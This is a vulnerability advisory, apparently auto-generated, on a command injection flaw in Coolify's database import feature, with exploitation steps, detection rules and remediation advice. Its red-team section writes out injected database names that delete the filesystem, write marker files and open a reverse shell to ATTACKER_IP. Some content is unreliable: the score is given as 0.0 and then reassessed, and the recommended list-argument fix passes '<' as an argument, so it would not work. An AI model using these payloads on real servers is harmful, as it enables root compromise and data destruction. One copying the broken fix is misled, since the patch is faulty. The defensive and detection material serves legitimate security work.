CVE-2025-66210

Executive Summary

CVE-2025-66210 is a critical command injection vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The vulnerability resides in the Database Import functionality, where database names are passed directly to shell commands without sanitization. An authenticated attacker with application/service management permissions can exploit this to execute arbitrary commands as root on managed servers. The vulnerability is fixed in version 4.0.0-beta.451.

Supply Chain & Package Security

Coolify is a self-hosted application, not a package distributed via NPM, PyPI, Go, or Ruby. Therefore, supply chain package security considerations are not directly applicable. However, users should ensure they are using the official Coolify source and verify the integrity of their installation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD), but based on the description, a realistic score is 7.2 (High).
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - The attacker needs application/service management permissions.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the managed server.
• Confidentiality (C): High (H) - Full system compromise leads to complete data disclosure.
• Integrity (I): High (H) - Full system compromise allows complete data modification.
• Availability (A): High (H) - Full system compromise can lead to denial of service.

Threat Level: High. The vulnerability allows for full remote code execution as root on managed servers, which can lead to complete compromise of the infrastructure.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the Database Import functionality of Coolify. When a user imports a database, the application constructs a shell command to execute the import. The database name, which is user-controlled, is concatenated directly into this command without any sanitization or escaping.

For example, if the import command is something like:

mysql -u user -p password database_name < import_file.sql

An attacker could provide a database name like:

testdb; rm -rf /; echo injected

This would result in the execution of:

mysql -u user -p password testdb; rm -rf /; echo injected < import_file.sql

The semicolon allows the attacker to inject arbitrary commands, which are executed with the privileges of the Coolify service, typically root.

The vulnerability is present in versions prior to 4.0.0-beta.451. The fix likely involves using parameterized commands or properly escaping the database name before passing it to the shell.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def import_database(db_name, file_path):
    command = f"mysql -u user -p password {db_name} < {file_path}"
    subprocess.run(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def import_database(db_name, file_path):
    safe_db_name = shlex.quote(db_name)
    command = f"mysql -u user -p password {safe_db_name} < {file_path}"
    subprocess.run(command, shell=True)

Or, better yet, using a list of arguments to avoid shell injection:

import subprocess

def import_database(db_name, file_path):
    command = ["mysql", "-u", "user", "-p", "password", db_name, "<", file_path]
    subprocess.run(command, shell=False)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Coolify instance (version < 4.0.0-beta.451).
• Valid credentials with application/service management permissions.

Exploitation Steps:

1. Log in to the Coolify web interface.
2. Navigate to the Database Import functionality.
3. In the database name field, inject a command. For example:

   testdb; id > /tmp/pwned
   

4. Provide a valid SQL file for import (or any file).
5. Execute the import.
6. Verify command execution by checking the output file on the server:

   cat /tmp/pwned
   

Advanced Payload: To establish a reverse shell:

testdb; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'

Blue Team

Detection Steps:

1. Monitor Coolify logs for unusual database names containing shell metacharacters (e.g., ;, |, &, $, `).
2. Monitor system logs for unexpected command execution from the Coolify process.
3. Implement input validation and sanitization for all user-supplied data, especially database names.
4. Use a Web Application Firewall (WAF) to block malicious payloads.
5. Ensure the Coolify service runs with the least privileges necessary.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual outbound connections from the Coolify server to unknown IPs (e.g., for reverse shells).
  • HTTP requests to the Coolify import endpoint with suspicious database names.

• File System IOCs:

  • Unexpected files in /tmp/ or other writable directories.
  • Modified system binaries or configuration files.

• Process IOCs:

  • Unexpected child processes spawned by the Coolify service (e.g., bash, nc, python).
  • High CPU or memory usage from unknown processes.

• Log IOCs:

  • Coolify application logs showing database names with shell metacharacters.
  • System logs (e.g., /var/log/syslog) showing commands executed by the Coolify user.

Detection Engineering

YARA Rule

rule CVE_2025_66210_Coolify_Command_Injection {
    meta:
        description = "Detects command injection attempts in Coolify database import"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66210"
    strings:
        $s1 = "database_name="
        $s2 = "import"
        $s3 = /[;&|`$]/
    condition:
        all of ($s1, $s2) and any of ($s3)
}

Sigma Rule

title: Coolify Database Import Command Injection
id: cve-2025-66210
status: experimental
description: Detects command injection attempts in Coolify database import functionality
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: coolify
detection:
    selection:
        event: "database_import"
        database_name|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$'
    condition: selection
falsepositives:
    - Legitimate use of special characters in database names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66210 Coolify Database Import Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/import"; http_uri; content:"database_name"; nocase; pcre:"/(?:;|\||&|`|\$)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Coolify: Update to version 4.0.0-beta.451 or later immediately.
2. Restrict Access: Limit access to the Coolify web interface to trusted users only.
3. Review Permissions: Ensure that only necessary users have application/service management permissions.

Long-term Mitigations:

1. Input Validation: Implement strict input validation for all user-supplied data, especially database names.
2. Least Privilege: Run the Coolify service with the minimum required privileges (not root).
3. Network Segmentation: Isolate Coolify servers from critical infrastructure.
4. Monitoring: Implement continuous monitoring for suspicious activities.
5. Web Application Firewall: Deploy a WAF to block common injection patterns.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit Valters IT.